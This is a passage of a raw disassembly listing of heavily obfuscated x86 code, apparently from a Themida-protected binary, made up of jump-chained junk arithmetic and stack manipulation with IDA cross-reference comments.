ecx jmp loc_56AB12 ; END OF FUNCTION CHUNK FOR sub_56A468 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_5638EA: ; CODE XREF: sub_56CD48-31AFj push 2931h jmp loc_56D7D6 ; END OF FUNCTION CHUNK FOR sub_56CD48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_5638F4: ; CODE XREF: sub_5635DE+9930j add esp, 4 xor ecx, 0FF2BF4F0h add edi, ecx mov ecx, [esp-8+arg_4] add esp, 4 push edx mov edx, 0F6932C2h and edx, 2A510A9Bh shr edx, 8 xor edx, 0CE974102h jmp loc_56F7C8 ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563925: ; CODE XREF: sub_56755A+34C4j pop eax push esi jmp loc_55FD3E ; --------------------------------------------------------------------------- loc_56392C: ; CODE XREF: sub_56755A-2D46j pop ebx push edx jmp loc_56BBD8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_563933: ; CODE XREF: sub_56E89A-EA1Dj pop ebx not edx add edx, 40D8691Ch mov ebx, edx pop edx jmp loc_55D587 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_563944: ; CODE XREF: Themida_:0056B76Fj shr ebx, 1 xor ebx, 472867D4h jmp loc_55D856 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563951: ; CODE XREF: sub_56755A+8336j mov eax, edx pop edx xor [esp+0Eh+var_C+2], eax pop eax pop edi jmp loc_562E8D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56395F: ; CODE XREF: Themida_:0056EA57j mov eax, [esp] add esp, 4 jmp loc_567967 ; --------------------------------------------------------------------------- loc_56396D: ; CODE XREF: Themida_:005672A2j dec edx jmp loc_5623A8 ; =============== S U B R O U T I N E ======================================= sub_563973 proc near ; CODE XREF: sub_56755A-3EC6j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055DBA7 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0055EDB9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055F48A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00560357 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005618DE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561A8B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00563895 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00564C95 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565A38 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00565CFA SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00566AD6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00566D5C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005689AC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056B6E6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056CE72 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056E1FA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056EB9D SIZE 0000001F BYTES push ebx mov ebx, 7A8C1DCDh xor ebx, 6C127A9Dh jmp loc_566D5C sub_563973 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_563984: ; CODE XREF: sub_566504-7EB9j push ecx mov ecx, 59677425h jmp loc_56DF7B ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_56398F: ; CODE XREF: sub_5635DE-3ECDj xor [esp+8+var_8], ecx jmp loc_566D7C ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563997: ; CODE XREF: sub_56755A-5C37j mov esi, [esp+1Ah+var_1C+2] jmp loc_567676 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56399F: ; CODE XREF: Themida_:0055CEAAj pop ecx dec eax push ecx push ebp mov ebp, 2DB00EC9h shr ebp, 2 neg ebp dec ebp inc ebp xor ebp, 0BE4DAC7Fh jmp loc_566A90 ; --------------------------------------------------------------------------- loc_5639BA: ; CODE XREF: Themida_:0056D7B5j or eax, 7C0A1240h inc eax not eax and eax, 24AF22DAh shr eax, 4 add eax, 7C5C40E0h add ebp, eax jmp loc_5705C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5639D6: ; CODE XREF: sub_56755A+39C9j add ebx, 4 jmp loc_56B8AA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5639E1: ; CODE XREF: Themida_:0056BCBAj mov ecx, [esp] add esp, 4 jmp loc_55EBEF ; --------------------------------------------------------------------------- loc_5639EC: ; CODE XREF: Themida_:00561BDFj pop esp jmp loc_55F260 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5639F2: ; CODE XREF: sub_56755A+48EFj add eax, 65A5406Bh jmp loc_56A4F0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A9 loc_5639FC: ; CODE XREF: sub_5687A9-56CDj sub ebp, 0F420F68Eh add edi, ebp pop ebp push ebp mov ebp, 289F3E7Fh add ebp, 3339493Ah add ebp, 0C9BB187Eh xor edi, ebp pop ebp push edi jmp loc_563776 ; END OF FUNCTION CHUNK FOR sub_5687A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_563A20: ; CODE XREF: sub_55CD7B+133Bj push esi mov esi, 5B857521h add esi, 1 xor esi, ecx xor ecx, esi xor esi, ecx neg ecx jmp loc_56EF47 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- loc_563A39: ; CODE XREF: Themida_:0056BF70j sub edx, 4 jmp loc_562663 ; =============== S U B R O U T I N E ======================================= sub_563A41 proc near ; CODE XREF: sub_56AA40-6913j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055E4E7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A064 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056B5F5 SIZE 00000009 BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, 0 add eax, ebx push ecx mov ecx, 0 add ecx, eax push ebx mov ebx, 0 sub ebx, 67CB063Ah add ebx, ecx add ebx, 67CB063Ah jmp loc_56B5F5 sub_563A41 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_563A6F: ; CODE XREF: sub_56971C+2959j add esp, 4 add esp, 4 shr ecx, 0Bh push 4CF0h mov [esp+0Ch+var_C], ebx mov eax, [esp+0Ch+var_C] sub esp, 4 mov [esp+10h+var_10], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+10h+var_10] pop esp mov [esp+0Ch+var_C], edi push esp pop edi push ebp mov ebp, 49B42982h dec ebp inc ebp shl ebp, 6 sub ebp, 6D0A607Ch sub edi, 6FB34759h add edi, ebp add edi, 6FB34759h pop ebp sub esp, 4 mov [esp+10h+var_10], ecx push 224Ah mov [esp+14h+var_14], ebx push 44F369AFh pop ebx push eax mov eax, 0C5B4D96h sub eax, 3E09457Fh push ebx mov ebx, 69E3609h and ebx, 47C142BCh jmp loc_562ECC ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_563AEE: ; CODE XREF: Themida_:0055C9AAj push 7B071A1Dh pop edx add edx, 0E04258C9h jmp loc_55F82F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563AFF: ; CODE XREF: sub_56755A-91C8j add esp, 4 jmp loc_55F88C ; --------------------------------------------------------------------------- loc_563B0A: ; CODE XREF: sub_56755A-25A0j push eax push [esp+12h+var_10+2] push [esp+16h+var_18+2] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+1Ah+var_1C+2] pop esp pop [esp+16h+var_18+2] mov esp, [esp+12h+var_14+2] imul cx, ax push cx pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563B38: ; CODE XREF: Themida_:00566ACAj xchg edi, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 jmp loc_56C8B1 ; --------------------------------------------------------------------------- loc_563B4D: ; CODE XREF: Themida_:00565771j pop dword ptr [esp] jmp loc_5624DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563B55: ; CODE XREF: sub_56755A+3CDj push eax jmp loc_55CCA2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_563B5B: ; CODE XREF: sub_56971C-28F8j pop ebp add ecx, 4 push ecx push [esp+0Ch+var_8] pop ecx pop [esp+0Ch+var_C] pop esp xchg eax, [esp+4+var_4] jmp loc_56A80B ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push esp push dword ptr [esp] jmp loc_560573 ; --------------------------------------------------------------------------- mov ax, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi mov esi, esp push 372Eh mov [esp], eax push 52B4h mov [esp], edi sub esp, 4 jmp loc_564152 ; --------------------------------------------------------------------------- loc_563BB4: ; CODE XREF: Themida_:0055E385j push esp pop ecx push ebx push 4 pop ebx add ecx, ebx push dword ptr [esp] pop ebx jmp loc_569525 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563BC8: ; CODE XREF: sub_56755A-A699j mov eax, 4 add edx, 3B2C5CD6h add edx, 2773216Fh add edx, eax sub edx, 2773216Fh sub edx, 3B2C5CD6h jmp loc_567975 ; --------------------------------------------------------------------------- loc_563BEC: ; CODE XREF: sub_56755A-8733j push ecx mov ecx, 22C77A2Ah jmp loc_56D79C ; --------------------------------------------------------------------------- loc_563BF7: ; CODE XREF: sub_56755A-F77j add eax, 4 add eax, 4 xor eax, [esp+0Ch+var_C] xor [esp+0Ch+var_C], eax xor eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] shr eax, 18h jmp loc_56C1EB ; --------------------------------------------------------------------------- loc_563C15: ; CODE XREF: sub_56755A-5C9Ej add edx, 4 jmp loc_56293B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563C20: ; CODE XREF: Themida_:0055C922j sub edi, 0FD2BB6AEh xor esi, edi mov edi, [esp] add esp, 4 push edx jmp loc_55D093 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563C37: ; CODE XREF: sub_56755A+64F0j pop esp mov [esp-4+arg_0], ecx push esp pop ecx push ebx mov ebx, 310C7BEAh sub ebx, 654F3BACh jmp loc_5662D1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_563C4E: ; CODE XREF: sub_55FE13+A49Ej push edx mov dl, 0BCh jmp loc_5636A1 ; END OF FUNCTION CHUNK FOR sub_55FE13 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563C5D: ; CODE XREF: sub_56755A-5080j pop edx sub eax, 3C154E5h jmp loc_5703B7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563C68: ; CODE XREF: Themida_:0056FDB6j pop ecx jmp loc_565C2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563C6E: ; CODE XREF: sub_56755A+50E4j shr ecx, 8 push esi jmp loc_56A287 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_563C77: ; CODE XREF: sub_56667A-CA9j pop edi add edx, 13724510h push 0 sub [esp+4+var_4], edx push [esp+4+var_4] mov edx, [esp+8+var_8] add esp, 4 jmp loc_56ED4F ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- loc_563C94: ; CODE XREF: Themida_:0056F2A3j pop ecx jmp loc_5662FA ; --------------------------------------------------------------------------- loc_563C9A: ; CODE XREF: Themida_:0055D356j pop ebp add ebx, 2 jmp loc_566703 ; --------------------------------------------------------------------------- loc_563CA3: ; CODE XREF: Themida_:0056D0A2j mov al, 8Eh or al, 0F4h neg al xor al, 90h and bl, al pop eax add bl, 7Eh shr bl, 2 or bl, 3Dh shl bl, 8 jmp loc_56CCE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5702DD loc_563CBF: ; CODE XREF: sub_5702DD-FC48j mov eax, [esp+0] add esp, 4 jmp loc_5694A5 ; END OF FUNCTION CHUNK FOR sub_5702DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_563CCD: ; CODE XREF: sub_55DA88+68AFj xor ebx, 84408Dh push ebx jmp loc_570674 ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563CD9: ; CODE XREF: sub_56755A-5E47j add esp, 4 jmp loc_56F6E4 ; --------------------------------------------------------------------------- loc_563CE4: ; CODE XREF: sub_56755A-CDEj xor edx, eax pop eax push 6EEh mov [esp+2Ch+var_2C], edi mov edi, 4555473Ch jmp loc_55F7F2 ; --------------------------------------------------------------------------- loc_563CF9: ; CODE XREF: sub_56755A-9F63j mov edx, edi jmp loc_55FC21 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5706E9 loc_563D00: ; CODE XREF: sub_5706E9-C649j sub ebx, 6CA20144h add ebx, eax push edx push esi mov esi, 3BCF520Eh mov edx, 0A8715352h sub edx, esi pop esi add ebx, edx pop edx pop eax jmp loc_56AF28 ; END OF FUNCTION CHUNK FOR sub_5706E9 ; --------------------------------------------------------------------------- loc_563D20: ; CODE XREF: Themida_:00569424j pop esi pop dword ptr [esp] jmp loc_55C110 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp push 2D71h mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_569BCE ; --------------------------------------------------------------------------- loc_563D40: ; CODE XREF: Themida_:00569B48j xchg ebx, [esp] mov esp, [esp] push 4BD6h jmp loc_55B699 ; --------------------------------------------------------------------------- loc_563D50: ; CODE XREF: Themida_:005660CEj sub esi, 39061772h jmp loc_55F612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5696A6 loc_563D5B: ; CODE XREF: sub_5696A6+17j push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp+8+var_8] xor [esp+8+var_8], edi xor edi, [esp+8+var_8] pop esp push 6B71h mov [esp+8+var_8], edx sub esp, 4 mov [esp+0], ebp jmp loc_56F965 ; END OF FUNCTION CHUNK FOR sub_5696A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_563D8A: ; CODE XREF: sub_561ED8+18j add esp, 4 jmp loc_565582 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562272 loc_563D95: ; CODE XREF: sub_562272+4819j sub edi, 16E022B0h jmp loc_55EE65 ; END OF FUNCTION CHUNK FOR sub_562272 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563DA0: ; CODE XREF: sub_56755A+5D6Bj pop edi add edi, 4ED65A2Bh push edi xor [esp+14h+var_14], edx xor edx, [esp+14h+var_14] xor [esp+14h+var_14], edx sub esp, 4 mov [esp+18h+var_18], edx not [esp+18h+var_18] mov edx, [esp+18h+var_18] add esp, 4 xchg edx, [esp+14h+var_14] pop edi jmp loc_5605A9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_563DC9: ; CODE XREF: sub_56D600-F11Ej shr dh, 6 neg dh shr dh, 6 xor dh, 0B4h jmp loc_5616F7 ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563DD9: ; CODE XREF: sub_56755A+4336j add ebp, 4 sub ebp, 4 xchg ebp, [esp+10h+var_10] pop esp jmp loc_568602 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563DEE: ; CODE XREF: Themida_:005705C2j sub ebx, 0C92C8B83h push edx mov edx, 4B4912CCh add eax, edx mov edx, [esp] add esp, 4 sub eax, 5EF70B21h jmp loc_55BC24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563E0F: ; CODE XREF: sub_56755A-A127j sub edi, 0FFD6FE10h jmp loc_56D0AF ; --------------------------------------------------------------------------- loc_563E1A: ; CODE XREF: sub_56755A+3947j pop edx push ebx mov ebx, 17892116h or ebx, 6FCD4186h jmp loc_56C4FB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563E2C: ; CODE XREF: Themida_:005603F1j pop ebp jmp loc_566D28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_563E32: ; CODE XREF: sub_56971C+30E9j sub ecx, edi pop edi mov esi, ecx pop ecx jmp loc_569622 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563E3D: ; CODE XREF: sub_56755A+924Bj not ecx shl ecx, 3 jmp loc_55E49D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_563E47: ; CODE XREF: sub_55CD7B-1544j xor ebx, ecx xor ecx, ebx add ecx, 30DD4D36h jmp loc_56F95E ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- loc_563E56: ; CODE XREF: Themida_:00560AB3j shl ebx, 6 shr ebx, 5 sub ebx, 0CAF92692h mov eax, ebx pop ebx or eax, 718A3F05h sub eax, 6E70CBBDh add ebx, eax pop eax push ebp mov ebp, 435B2E39h inc ebp shl ebp, 8 shl ebp, 3 inc ebp jmp loc_569082 ; --------------------------------------------------------------------------- loc_563E85: ; CODE XREF: Themida_:005657C1j pop esp push edi mov edi, esp push eax mov eax, 3F614EF4h sub eax, 1F3A6D62h and eax, 26320249h jmp loc_56694F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AC81 loc_563E9E: ; CODE XREF: sub_56AC81-6BB4j add ebx, 4 push ebx push [esp+8+var_4] mov ebx, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] pop esp and [esp+0], eax pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56AC81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56250B loc_563EB9: ; CODE XREF: sub_56250B+3A50j add ebp, 4 xchg ebp, [esp+8+var_8] mov esp, [esp+8+var_8] sub bx, 5648h sub bx, 3074h sub bx, ax add bx, 3074h add bx, 5648h jmp sub_560EB5 ; END OF FUNCTION CHUNK FOR sub_56250B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_563EDE: ; CODE XREF: sub_56CEE9-3284j xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] pop esp mov [esp-4+arg_0], ebx push ebp mov ebp, esp push 5CD1h mov [esp+4+var_4], ebx mov ebx, 1D492874h jmp loc_55CA7D ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563F00: ; CODE XREF: sub_56755A+4F8Aj add ebp, 4 jmp loc_56F5A8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B5E8 loc_563F0B: ; CODE XREF: sub_56B5E8-561Fj xor bl, al movzx eax, al push dword ptr [edi+eax*4] push esi mov esi, 56994487h add [esp+8+var_4], esi pop esi mov eax, [esp+4+var_4] add esp, 4 push 7A8Bh jmp loc_567C78 ; END OF FUNCTION CHUNK FOR sub_56B5E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563F2E: ; CODE XREF: sub_56755A-7604j push edx jmp loc_55FA12 ; --------------------------------------------------------------------------- loc_563F34: ; CODE XREF: sub_56755A-797Cj add [esp-14h+arg_10], 4 pop esi push edx mov edx, 4 add esi, edx pop edx sub esp, 4 mov [esp-14h+arg_10], eax mov eax, 4 push ecx mov ecx, 1CC12C49h push eax mov eax, 7A7E12E9h xor eax, 42D21D09h add ecx, eax pop eax inc ecx jmp loc_55BFFC ; --------------------------------------------------------------------------- loc_563F6A: ; CODE XREF: sub_56755A-B2E4j push ecx push ebp jmp loc_56AFD4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_563F71: ; CODE XREF: sub_56E89A-C557j pop esp jmp loc_561930 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- lodsb sub esp, 2 mov [esp], cx push ebx jmp loc_560D27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563F88: ; CODE XREF: sub_56755A+21j add esp, 4 jmp loc_56B25F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5646E3 loc_563F93: ; CODE XREF: sub_5646E3-723Aj mov ecx, [esp+0] push edi jmp loc_567ADC ; END OF FUNCTION CHUNK FOR sub_5646E3 ; --------------------------------------------------------------------------- loc_563F9C: ; CODE XREF: Themida_:0055DCCBj sub esp, 4 jmp loc_568FE6 ; --------------------------------------------------------------------------- loc_563FA4: ; CODE XREF: Themida_:0055EB3Cj xor [esp], ecx xor ecx, [esp] mov esp, [esp] push 511h mov [esp], edi push ecx mov ecx, 34C437AFh or ecx, 3EFF6A5Dh inc ecx jmp loc_56B3B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563FC7: ; CODE XREF: sub_56755A-6ACj push [esp+8+var_4] pop edi pop [esp+8+var_8] mov esp, [esp+4+var_4] jmp loc_55EF15 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_563FD7: ; CODE XREF: sub_56CB1B+Dj add edi, ebp pop ebp add edi, 7E479B2h add edi, ecx push 3AB8h mov [esp+4+var_4], ebx mov ebx, 8A36E8Eh jmp loc_564840 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_563FF4: ; CODE XREF: sub_56F7FC-4A39j pop esp sub edx, 0FFFFFFFFh jmp loc_565A08 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564000: ; CODE XREF: sub_56755A+5A6j add edi, esi pop esi jmp loc_565C3B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564008: ; CODE XREF: Themida_:0056D762j add ecx, 4 xchg ecx, [esp] jmp loc_55C3E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5607D3 loc_564016: ; CODE XREF: sub_5607D3+45DEj mov ebp, edx pop edx add ebp, 6B2A4276h xor ebp, 0A022484h add ebp, 41F24615h xor ebp, 8B37CC04h and ebx, ebp pop ebp xor ebx, 74C03F18h sub ebx, 0FE8C9D7Dh push ebx xor [esp+4+var_4], 243B23A9h mov ecx, [esp+4+var_4] jmp loc_566748 ; END OF FUNCTION CHUNK FOR sub_5607D3 ; --------------------------------------------------------------------------- loc_564050: ; CODE XREF: Themida_:0056B1D9j pop edi sub eax, edi push edx mov edx, 67833920h add eax, edx jmp loc_5704AA ; --------------------------------------------------------------------------- loc_564060: ; CODE XREF: Themida_:0056F27Ej sub eax, edx mov edx, [esp] add esp, 4 pop edi push edi mov edi, esp add edi, 4 push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp] mov esp, [esp] mov [esp], ebp jmp loc_569B24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E65 loc_564089: ; CODE XREF: sub_569E65-50DCj push 4009h mov [esp+4+var_4], ecx jmp loc_55B9F9 ; END OF FUNCTION CHUNK FOR sub_569E65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5706E9 loc_564096: ; CODE XREF: sub_5706E9-75D5j or eax, 43F50210h add eax, 280AFD11h jmp loc_563D00 ; END OF FUNCTION CHUNK FOR sub_5706E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_5640A5: ; CODE XREF: sub_56E89A+9FDj push edx mov edx, 0D019C26Fh sub edi, edx pop edx add eax, edi mov edi, [esp+0Ch+var_C] add esp, 4 add eax, 4 xchg eax, [esp+8+var_8] pop esp push ebx mov ebx, esp jmp loc_560DFC ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AC81 loc_5640C5: ; CODE XREF: sub_56AC81+3D65j mov ecx, 4 add ebx, ecx pop ecx jmp loc_563E9E ; END OF FUNCTION CHUNK FOR sub_56AC81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5702DD loc_5640D2: ; CODE XREF: sub_5702DD-11F2Bj mov edx, ebx pop ebx sub esp, 4 mov [esp-4+arg_0], edx pop esi push [esp-8+arg_4] pop edx add esp, 4 push 67E6h mov [esp-8+arg_4], esi pop dword ptr [edi+24h] pop esi xor edx, edx push 7705h mov [esp-0Ch+arg_8], esi push ebx push 24A1h mov [esp-4+arg_0], edi push eax mov eax, 0D4C19F1h inc eax shl eax, 6 shl eax, 7 inc eax jmp loc_56D576 ; END OF FUNCTION CHUNK FOR sub_5702DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AA40 loc_56411B: ; CODE XREF: sub_56AA40+1CF1j sub ebx, 7AA02C6Eh pop ecx add ebx, edi push esi mov esi, 11A03854h sub ebx, esi pop esi jmp sub_563A41 ; END OF FUNCTION CHUNK FOR sub_56AA40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_564132: ; CODE XREF: sub_56D164-17ECj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0] pop esp jmp sub_55EA9F ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- loc_564147: ; CODE XREF: Themida_:005689E2j add eax, 458813FFh pop edx jmp loc_569DFD ; --------------------------------------------------------------------------- loc_564152: ; CODE XREF: Themida_:00563BAFj mov [esp], eax mov eax, 4 push eax add dword ptr [esp], 24671978h pop edi sub edi, 24671978h pop eax push 5556h mov [esp], edi pop eax jmp loc_561AEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_564178: ; CODE XREF: sub_560CAA+6j mov [esp+4+var_4], edx jmp loc_56A0AD ; END OF FUNCTION CHUNK FOR sub_560CAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564180: ; CODE XREF: sub_56755A-B80Dj not eax sub eax, 47EC19E4h jmp sub_5706E9 ; --------------------------------------------------------------------------- loc_56418C: ; CODE XREF: sub_56755A+78F7j add edx, 0EC50BF54h add ebx, edx pop edx push 5F52h jmp loc_56ADA5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56542E loc_56419F: ; CODE XREF: sub_56542E-102Cj xor ebp, [esp+4+var_4] mov esp, [esp+4+var_4] push 3B8Ch mov [esp-8+arg_4], edi sub esp, 4 mov [esp-4+arg_0], ebp mov ebp, 200000h mov edi, ebp mov ebp, [esp-4+arg_0] sub esp, 4 mov [esp+0], ecx jmp loc_565DCA ; END OF FUNCTION CHUNK FOR sub_56542E ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_5667C1 ; --------------------------------------------------------------------------- loc_5641E4: ; CODE XREF: Themida_:0056C0FCj push dword ptr [esp+4] jmp loc_562625 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5641ED: ; CODE XREF: sub_56755A+63C7j neg ebx push esi mov esi, 6137A91h or ebx, esi pop esi jmp loc_560E84 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5641FD: ; CODE XREF: Themida_:00568DAEj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_566B64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56420C: ; CODE XREF: sub_56F7FC-13CEj or ebp, 5E203CA0h not ebp sub ebp, 0FFFFFFFFh push ebx mov ebx, 4FCB05E1h or ebp, ebx pop ebx add ebp, 9F3977B2h sub esi, ebp 